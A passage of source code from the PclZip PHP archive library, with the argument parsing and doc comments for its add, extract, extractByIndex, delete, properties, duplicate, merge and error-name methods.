            if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

                // ----- Parse the options
                $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array(
                    PCLZIP_OPT_REMOVE_PATH => 'optional',
                    PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                    PCLZIP_OPT_ADD_PATH => 'optional',
                    PCLZIP_CB_PRE_ADD => 'optional',
                    PCLZIP_CB_POST_ADD => 'optional',
                    PCLZIP_OPT_NO_COMPRESSION => 'optional',
                    PCLZIP_OPT_COMMENT => 'optional',
                    PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                    PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                    PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                    //, PCLZIP_OPT_CRYPT => 'optional'
                ));
                if ($v_result != 1) {
                    return 0;
                }

            // ----- Look for 2 args
            // Here we need to support the first historic synopsis of the
            // method.
            } else {

                // ----- Get the first argument
                $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];

                // ----- Look for the optional second argument
                if ($v_size == 2) {
                    $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
                } elseif ($v_size > 2) {
                    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

                    return 0;
                }
            }
        }

        // ----- Look for default option values
        $this->privOptionDefaultThreshold($v_options);

        // ----- Init
        $v_string_list    = array();
        $v_att_list       = array();
        $v_filedescr_list = array();
        $p_result_list    = array();

        // ----- Look if the $p_filelist is really an array
        if (is_array($p_filelist)) {

            // ----- Look if the first element is also an array
            //       This will mean that this is a file description entry
            if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
                $v_att_list = $p_filelist;

            // ----- The list is a list of string names
            } else {
                $v_string_list = $p_filelist;
            }

        // ----- Look if the $p_filelist is a string
        } elseif (is_string($p_filelist)) {
            // ----- Create a list from the string
            $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);

        // ----- Invalid variable type for $p_filelist
        } else {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");

            return 0;
        }

        // ----- Reformat the string list
        if (sizeof($v_string_list) != 0) {
            foreach ($v_string_list as $v_string) {
                if ($v_string != '') {
                    $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
                } else {
                }
            }
        }

        // ----- For each file in the list check the attributes
        $v_supported_attributes = array(
            PCLZIP_ATT_FILE_NAME => 'mandatory',
            PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional',
            PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional',
            PCLZIP_ATT_FILE_MTIME => 'optional',
            PCLZIP_ATT_FILE_CONTENT => 'optional',
            PCLZIP_ATT_FILE_COMMENT => 'optional'
        );
        foreach ($v_att_list as $v_entry) {
            $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes);
            if ($v_result != 1) {
                return 0;
            }
        }

        // ----- Expand the filelist (expand directories)
        $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
        if ($v_result != 1) {
            return 0;
        }

        // ----- Call the create fct
        $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
        if ($v_result != 1) {
            return 0;
        }

        // ----- Return
        return $p_result_list;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function :
    //   add($p_filelist, $p_add_dir="", $p_remove_dir="")
    //   add($p_filelist, $p_option, $p_option_value, ...)
    // Description :
    //   This method supports two synopsis. The first one is historical.
    //   This methods add the list of files in an existing archive.
    //   If a file with the same name already exists, it is added at the end of the
    //   archive, the first one is still present.
    //   If the archive does not exist, it is created.
    // Parameters :
    //   $p_filelist : An array containing file or directory names, or
    //                 a string containing one filename or one directory name, or
    //                 a string containing a list of filenames and/or directory
    //                 names separated by spaces.
    //   $p_add_dir : A path to add before the real path of the archived file,
    //                in order to have it memorized in the archive.
    //   $p_remove_dir : A path to remove from the real path of the file to archive,
    //                   in order to have a shorter path memorized in the archive.
    //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
    //                   is removed first, before $p_add_dir is added.
    // Options :
    //   PCLZIP_OPT_ADD_PATH :
    //   PCLZIP_OPT_REMOVE_PATH :
    //   PCLZIP_OPT_REMOVE_ALL_PATH :
    //   PCLZIP_OPT_COMMENT :
    //   PCLZIP_OPT_ADD_COMMENT :
    //   PCLZIP_OPT_PREPEND_COMMENT :
    //   PCLZIP_CB_PRE_ADD :
    //   PCLZIP_CB_POST_ADD :
    // Return Values :
    //   0 on failure,
    //   The list of the added files, with a status of the add action.
    //   (see PclZip::listContent() for list entry format)
    // --------------------------------------------------------------------------------
    public function add($p_filelist)
    {
        $v_result = 1;

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Set default values
        $v_options                            = array();
        $v_options[PCLZIP_OPT_NO_COMPRESSION] = false;

        // ----- Look for variable options arguments
        $v_size = func_num_args();

        // ----- Look for arguments
        if ($v_size > 1) {
            // ----- Get the arguments
            $v_arg_list = func_get_args();

            // ----- Remove form the options list the first argument
            array_shift($v_arg_list);
            $v_size--;

            // ----- Look for first arg
            if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

                // ----- Parse the options
                $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array(
                    PCLZIP_OPT_REMOVE_PATH => 'optional',
                    PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                    PCLZIP_OPT_ADD_PATH => 'optional',
                    PCLZIP_CB_PRE_ADD => 'optional',
                    PCLZIP_CB_POST_ADD => 'optional',
                    PCLZIP_OPT_NO_COMPRESSION => 'optional',
                    PCLZIP_OPT_COMMENT => 'optional',
                    PCLZIP_OPT_ADD_COMMENT => 'optional',
                    PCLZIP_OPT_PREPEND_COMMENT => 'optional',
                    PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                    PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                    PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                    //, PCLZIP_OPT_CRYPT => 'optional'
                ));
                if ($v_result != 1) {
                    return 0;
                }

            // ----- Look for 2 args
            // Here we need to support the first historic synopsis of the
            // method.
            } else {

                // ----- Get the first argument
                $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];

                // ----- Look for the optional second argument
                if ($v_size == 2) {
                    $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
                } elseif ($v_size > 2) {
                    // ----- Error log
                    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

                    // ----- Return
                    return 0;
                }
            }
        }

        // ----- Look for default option values
        $this->privOptionDefaultThreshold($v_options);

        // ----- Init
        $v_string_list    = array();
        $v_att_list       = array();
        $v_filedescr_list = array();
        $p_result_list    = array();

        // ----- Look if the $p_filelist is really an array
        if (is_array($p_filelist)) {

            // ----- Look if the first element is also an array
            //       This will mean that this is a file description entry
            if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
                $v_att_list = $p_filelist;

            // ----- The list is a list of string names
            } else {
                $v_string_list = $p_filelist;
            }

        // ----- Look if the $p_filelist is a string
        } elseif (is_string($p_filelist)) {
            // ----- Create a list from the string
            $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);

        // ----- Invalid variable type for $p_filelist
        } else {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '" . gettype($p_filelist) . "' for p_filelist");

            return 0;
        }

        // ----- Reformat the string list
        if (sizeof($v_string_list) != 0) {
            foreach ($v_string_list as $v_string) {
                $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
            }
        }

        // ----- For each file in the list check the attributes
        $v_supported_attributes = array(
            PCLZIP_ATT_FILE_NAME => 'mandatory',
            PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional',
            PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional',
            PCLZIP_ATT_FILE_MTIME => 'optional',
            PCLZIP_ATT_FILE_CONTENT => 'optional',
            PCLZIP_ATT_FILE_COMMENT => 'optional'
        );
        foreach ($v_att_list as $v_entry) {
            $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes);
            if ($v_result != 1) {
                return 0;
            }
        }

        // ----- Expand the filelist (expand directories)
        $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
        if ($v_result != 1) {
            return 0;
        }

        // ----- Call the create fct
        $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
        if ($v_result != 1) {
            return 0;
        }

        // ----- Return
        return $p_result_list;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : listContent()
    // Description :
    //   This public method, gives the list of the files and directories, with their
    //   properties.
    //   The properties of each entries in the list are (used also in other functions) :
    //     filename : Name of the file. For a create or add action it is the filename
    //                given by the user. For an extract function it is the filename
    //                of the extracted file.
    //     stored_filename : Name of the file / directory stored in the archive.
    //     size : Size of the stored file.
    //     compressed_size : Size of the file's data compressed in the archive
    //                       (without the headers overhead)
    //     mtime : Last known modification date of the file (UNIX timestamp)
    //     comment : Comment associated with the file
    //     folder : true | false
    //     index : index of the file in the archive
    //     status : status of the action (depending of the action) :
    //              Values are :
    //                ok : OK !
    //                filtered : the file / dir is not extracted (filtered by user)
    //                already_a_directory : the file can not be extracted because a
    //                                      directory with the same name already exists
    //                write_protected : the file can not be extracted because a file
    //                                  with the same name already exists and is
    //                                  write protected
    //                newer_exist : the file was not extracted because a newer file exists
    //                path_creation_fail : the file is not extracted because the folder
    //                                     does not exist and can not be created
    //                write_error : the file was not extracted because there was a
    //                              error while writing the file
    //                read_error : the file was not extracted because there was a error
    //                             while reading the file
    //                invalid_header : the file was not extracted because of an archive
    //                                 format error (bad file header)
    //   Note that each time a method can continue operating when there
    //   is an action error on a file, the error is only logged in the file status.
    // Return Values :
    //   0 on an unrecoverable failure,
    //   The list of the files in the archive.
    // --------------------------------------------------------------------------------
    public function listContent()
    {
        $v_result = 1;

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Check archive
        if (!$this->privCheckFormat()) {
            return (0);
        }

        // ----- Call the extracting fct
        $p_list = array();
        if (($v_result = $this->privList($p_list)) != 1) {
            unset($p_list);

            return (0);
        }

        // ----- Return
        return $p_list;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function :
    //   extract($p_path="./", $p_remove_path="")
    //   extract([$p_option, $p_option_value, ...])
    // Description :
    //   This method supports two synopsis. The first one is historical.
    //   This method extract all the files / directories from the archive to the
    //   folder indicated in $p_path.
    //   If you want to ignore the 'root' part of path of the memorized files
    //   you can indicate this in the optional $p_remove_path parameter.
    //   By default, if a newer file with the same name already exists, the
    //   file is not extracted.
    //
    //   If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH aoptions
    //   are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
    //   at the end of the path value of PCLZIP_OPT_PATH.
    // Parameters :
    //   $p_path : Path where the files and directories are to be extracted
    //   $p_remove_path : First part ('root' part) of the memorized path
    //                    (if any similar) to remove while extracting.
    // Options :
    //   PCLZIP_OPT_PATH :
    //   PCLZIP_OPT_ADD_PATH :
    //   PCLZIP_OPT_REMOVE_PATH :
    //   PCLZIP_OPT_REMOVE_ALL_PATH :
    //   PCLZIP_CB_PRE_EXTRACT :
    //   PCLZIP_CB_POST_EXTRACT :
    // Return Values :
    //   0 or a negative value on failure,
    //   The list of the extracted files, with a status of the action.
    //   (see PclZip::listContent() for list entry format)
    // --------------------------------------------------------------------------------
    public function extract()
    {
        $v_result = 1;

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Check archive
        if (!$this->privCheckFormat()) {
            return (0);
        }

        // ----- Set default values
        $v_options         = array();
        //    $v_path = "./";
        $v_path            = '';
        $v_remove_path     = "";
        $v_remove_all_path = false;

        // ----- Look for variable options arguments
        $v_size = func_num_args();

        // ----- Default values for option
        $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = false;

        // ----- Look for arguments
        if ($v_size > 0) {
            // ----- Get the arguments
            $v_arg_list = func_get_args();

            // ----- Look for first arg
            if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

                // ----- Parse the options
                $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array(
                    PCLZIP_OPT_PATH => 'optional',
                    PCLZIP_OPT_REMOVE_PATH => 'optional',
                    PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                    PCLZIP_OPT_ADD_PATH => 'optional',
                    PCLZIP_CB_PRE_EXTRACT => 'optional',
                    PCLZIP_CB_POST_EXTRACT => 'optional',
                    PCLZIP_OPT_SET_CHMOD => 'optional',
                    PCLZIP_OPT_BY_NAME => 'optional',
                    PCLZIP_OPT_BY_EREG => 'optional',
                    PCLZIP_OPT_BY_PREG => 'optional',
                    PCLZIP_OPT_BY_INDEX => 'optional',
                    PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                    PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
                    PCLZIP_OPT_REPLACE_NEWER => 'optional',
                    PCLZIP_OPT_STOP_ON_ERROR => 'optional',
                    PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                    PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                    PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                    PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                ));
                if ($v_result != 1) {
                    return 0;
                }

                // ----- Set the arguments
                if (isset($v_options[PCLZIP_OPT_PATH])) {
                    $v_path = $v_options[PCLZIP_OPT_PATH];
                }
                if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
                    $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
                }
                if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
                    $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
                }
                if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
                    // ----- Check for '/' in last path char
                    if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
                        $v_path .= '/';
                    }
                    $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
                }

            // ----- Look for 2 args
            // Here we need to support the first historic synopsis of the
            // method.
            } else {

                // ----- Get the first argument
                $v_path = $v_arg_list[0];

                // ----- Look for the optional second argument
                if ($v_size == 2) {
                    $v_remove_path = $v_arg_list[1];
                } elseif ($v_size > 2) {
                    // ----- Error log
                    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

                    // ----- Return
                    return 0;
                }
            }
        }

        // ----- Look for default option values
        $this->privOptionDefaultThreshold($v_options);

        // ----- Trace

        // ----- Call the extracting fct
        $p_list   = array();
        $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options);
        if ($v_result < 1) {
            unset($p_list);

            return (0);
        }

        // ----- Return
        return $p_list;
    }
    // --------------------------------------------------------------------------------


    // --------------------------------------------------------------------------------
    // Function :
    //   extractByIndex($p_index, $p_path="./", $p_remove_path="")
    //   extractByIndex($p_index, [$p_option, $p_option_value, ...])
    // Description :
    //   This method supports two synopsis. The first one is historical.
    //   This method is doing a partial extract of the archive.
    //   The extracted files or folders are identified by their index in the
    //   archive (from 0 to n).
    //   Note that if the index identify a folder, only the folder entry is
    //   extracted, not all the files included in the archive.
    // Parameters :
    //   $p_index : A single index (integer) or a string of indexes of files to
    //              extract. The form of the string is "0,4-6,8-12" with only numbers
    //              and '-' for range or ',' to separate ranges. No spaces or ';'
    //              are allowed.
    //   $p_path : Path where the files and directories are to be extracted
    //   $p_remove_path : First part ('root' part) of the memorized path
    //                    (if any similar) to remove while extracting.
    // Options :
    //   PCLZIP_OPT_PATH :
    //   PCLZIP_OPT_ADD_PATH :
    //   PCLZIP_OPT_REMOVE_PATH :
    //   PCLZIP_OPT_REMOVE_ALL_PATH :
    //   PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
    //     not as files.
    //     The resulting content is in a new field 'content' in the file
    //     structure.
    //     This option must be used alone (any other options are ignored).
    //   PCLZIP_CB_PRE_EXTRACT :
    //   PCLZIP_CB_POST_EXTRACT :
    // Return Values :
    //   0 on failure,
    //   The list of the extracted files, with a status of the action.
    //   (see PclZip::listContent() for list entry format)
    // --------------------------------------------------------------------------------
    //function extractByIndex($p_index, options...)
    public function extractByIndex($p_index)
    {
        $v_result = 1;

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Check archive
        if (!$this->privCheckFormat()) {
            return (0);
        }

        // ----- Set default values
        $v_options         = array();
        //    $v_path = "./";
        $v_path            = '';
        $v_remove_path     = "";
        $v_remove_all_path = false;

        // ----- Look for variable options arguments
        $v_size = func_num_args();

        // ----- Default values for option
        $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = false;

        // ----- Look for arguments
        if ($v_size > 1) {
            // ----- Get the arguments
            $v_arg_list = func_get_args();

            // ----- Remove form the options list the first argument
            array_shift($v_arg_list);
            $v_size--;

            // ----- Look for first arg
            if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

                // ----- Parse the options
                $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array(
                    PCLZIP_OPT_PATH => 'optional',
                    PCLZIP_OPT_REMOVE_PATH => 'optional',
                    PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                    PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                    PCLZIP_OPT_ADD_PATH => 'optional',
                    PCLZIP_CB_PRE_EXTRACT => 'optional',
                    PCLZIP_CB_POST_EXTRACT => 'optional',
                    PCLZIP_OPT_SET_CHMOD => 'optional',
                    PCLZIP_OPT_REPLACE_NEWER => 'optional',
                    PCLZIP_OPT_STOP_ON_ERROR => 'optional',
                    PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                    PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                    PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                    PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                ));
                if ($v_result != 1) {
                    return 0;
                }

                // ----- Set the arguments
                if (isset($v_options[PCLZIP_OPT_PATH])) {
                    $v_path = $v_options[PCLZIP_OPT_PATH];
                }
                if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
                    $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
                }
                if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
                    $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
                }
                if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
                    // ----- Check for '/' in last path char
                    if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
                        $v_path .= '/';
                    }
                    $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
                }
                if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
                    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = false;
                } else {
                }

            // ----- Look for 2 args
            // Here we need to support the first historic synopsis of the
            // method.
            } else {

                // ----- Get the first argument
                $v_path = $v_arg_list[0];

                // ----- Look for the optional second argument
                if ($v_size == 2) {
                    $v_remove_path = $v_arg_list[1];
                } elseif ($v_size > 2) {
                    // ----- Error log
                    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

                    // ----- Return
                    return 0;
                }
            }
        }

        // ----- Trace

        // ----- Trick
        // Here I want to reuse extractByRule(), so I need to parse the $p_index
        // with privParseOptions()
        $v_arg_trick     = array(
            PCLZIP_OPT_BY_INDEX,
            $p_index
        );
        $v_options_trick = array();
        $v_result        = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick, array(
            PCLZIP_OPT_BY_INDEX => 'optional'
        ));
        if ($v_result != 1) {
            return 0;
        }
        $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];

        // ----- Look for default option values
        $this->privOptionDefaultThreshold($v_options);

        // ----- Call the extracting fct
        if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
            return (0);
        }

        // ----- Return
        return $p_list;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function :
    //   delete([$p_option, $p_option_value, ...])
    // Description :
    //   This method removes files from the archive.
    //   If no parameters are given, then all the archive is emptied.
    // Parameters :
    //   None or optional arguments.
    // Options :
    //   PCLZIP_OPT_BY_INDEX :
    //   PCLZIP_OPT_BY_NAME :
    //   PCLZIP_OPT_BY_EREG :
    //   PCLZIP_OPT_BY_PREG :
    // Return Values :
    //   0 on failure,
    //   The list of the files which are still present in the archive.
    //   (see PclZip::listContent() for list entry format)
    // --------------------------------------------------------------------------------
    public function delete()
    {
        $v_result = 1;

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Check archive
        if (!$this->privCheckFormat()) {
            return (0);
        }

        // ----- Set default values
        $v_options = array();

        // ----- Look for variable options arguments
        $v_size = func_num_args();

        // ----- Look for arguments
        if ($v_size > 0) {
            // ----- Get the arguments
            $v_arg_list = func_get_args();

            // ----- Parse the options
            $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array(
                PCLZIP_OPT_BY_NAME => 'optional',
                PCLZIP_OPT_BY_EREG => 'optional',
                PCLZIP_OPT_BY_PREG => 'optional',
                PCLZIP_OPT_BY_INDEX => 'optional'
            ));
            if ($v_result != 1) {
                return 0;
            }
        }

        // ----- Magic quotes trick
        $this->privDisableMagicQuotes();

        // ----- Call the delete fct
        $v_list = array();
        if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
            $this->privSwapBackMagicQuotes();
            unset($v_list);

            return (0);
        }

        // ----- Magic quotes trick
        $this->privSwapBackMagicQuotes();

        // ----- Return
        return $v_list;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : deleteByIndex()
    // Description :
    //   ***** Deprecated *****
    //   delete(PCLZIP_OPT_BY_INDEX, $p_index) should be prefered.
    // --------------------------------------------------------------------------------
    public function deleteByIndex($p_index)
    {

        $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);

        // ----- Return
        return $p_list;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : properties()
    // Description :
    //   This method gives the properties of the archive.
    //   The properties are :
    //     nb : Number of files in the archive
    //     comment : Comment associated with the archive file
    //     status : not_exist, ok
    // Parameters :
    //   None
    // Return Values :
    //   0 on failure,
    //   An array with the archive properties.
    // --------------------------------------------------------------------------------
    public function properties()
    {

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Magic quotes trick
        $this->privDisableMagicQuotes();

        // ----- Check archive
        if (!$this->privCheckFormat()) {
            $this->privSwapBackMagicQuotes();

            return (0);
        }

        // ----- Default properties
        $v_prop            = array();
        $v_prop['comment'] = '';
        $v_prop['nb']      = 0;
        $v_prop['status']  = 'not_exist';

        // ----- Look if file exists
        if (@is_file($this->zipname)) {
            // ----- Open the zip file
            if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) {
                $this->privSwapBackMagicQuotes();

                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \'' . $this->zipname . '\' in binary read mode');

                // ----- Return
                return 0;
            }

            // ----- Read the central directory informations
            $v_central_dir = array();
            if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) {
                $this->privSwapBackMagicQuotes();

                return 0;
            }

            // ----- Close the zip file
            $this->privCloseFd();

            // ----- Set the user attributes
            $v_prop['comment'] = $v_central_dir['comment'];
            $v_prop['nb']      = $v_central_dir['entries'];
            $v_prop['status']  = 'ok';
        }

        // ----- Magic quotes trick
        $this->privSwapBackMagicQuotes();

        // ----- Return
        return $v_prop;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : duplicate()
    // Description :
    //   This method creates an archive by copying the content of an other one. If
    //   the archive already exist, it is replaced by the new one without any warning.
    // Parameters :
    //   $p_archive : The filename of a valid archive, or
    //                a valid PclZip object.
    // Return Values :
    //   1 on success.
    //   0 or a negative value on error (error code).
    // --------------------------------------------------------------------------------
    public function duplicate($p_archive)
    {
        $v_result = 1;

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Look if the $p_archive is a PclZip object
        if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip')) {

            // ----- Duplicate the archive
            $v_result = $this->privDuplicate($p_archive->zipname);

        // ----- Look if the $p_archive is a string (so a filename)
        } elseif (is_string($p_archive)) {

            // ----- Check that $p_archive is a valid zip file
            // TBC : Should also check the archive format
            if (!is_file($p_archive)) {
                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '" . $p_archive . "'");
                $v_result = PCLZIP_ERR_MISSING_FILE;
            } else {
                // ----- Duplicate the archive
                $v_result = $this->privDuplicate($p_archive);
            }

        // ----- Invalid variable
        } else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
            $v_result = PCLZIP_ERR_INVALID_PARAMETER;
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : merge()
    // Description :
    //   This method merge the $p_archive_to_add archive at the end of the current
    //   one ($this).
    //   If the archive ($this) does not exist, the merge becomes a duplicate.
    //   If the $p_archive_to_add archive does not exist, the merge is a success.
    // Parameters :
    //   $p_archive_to_add : It can be directly the filename of a valid zip archive,
    //                       or a PclZip object archive.
    // Return Values :
    //   1 on success,
    //   0 or negative values on error (see below).
    // --------------------------------------------------------------------------------
    public function merge($p_archive_to_add)
    {
        $v_result = 1;

        // ----- Reset the error handler
        $this->privErrorReset();

        // ----- Check archive
        if (!$this->privCheckFormat()) {
            return (0);
        }

        // ----- Look if the $p_archive_to_add is a PclZip object
        if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip')) {

            // ----- Merge the archive
            $v_result = $this->privMerge($p_archive_to_add);

        // ----- Look if the $p_archive_to_add is a string (so a filename)
        } elseif (is_string($p_archive_to_add)) {

            // ----- Create a temporary archive
            $v_object_archive = new PclZip($p_archive_to_add);

            // ----- Merge the archive
            $v_result = $this->privMerge($v_object_archive);

        // ----- Invalid variable
        } else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
            $v_result = PCLZIP_ERR_INVALID_PARAMETER;
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : errorCode()
    // Description :
    // Parameters :
    // --------------------------------------------------------------------------------
    public function errorCode()
    {
        if (PCLZIP_ERROR_EXTERNAL == 1) {
            return (PclErrorCode());
        }

        return ($this->error_code);
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : errorName()
    // Description :
    // Parameters :
    // --------------------------------------------------------------------------------
    public function errorName($p_with_code = false)
    {
        $v_name = array(
            PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
            PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
            PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
            PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
            PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
            PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
            PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
            PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
            PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
            PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
            PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
            PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
            PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
            PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
            PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
            PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
            PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
            PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
            PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION',
            PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE',
            PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
        );

        if (isset($v_name[$this->error_code])) {
            $v_value = $v_name[$this->error_code];
        } else {
            $v_value = 'NoName';
        }

        if ($p_with_code) {
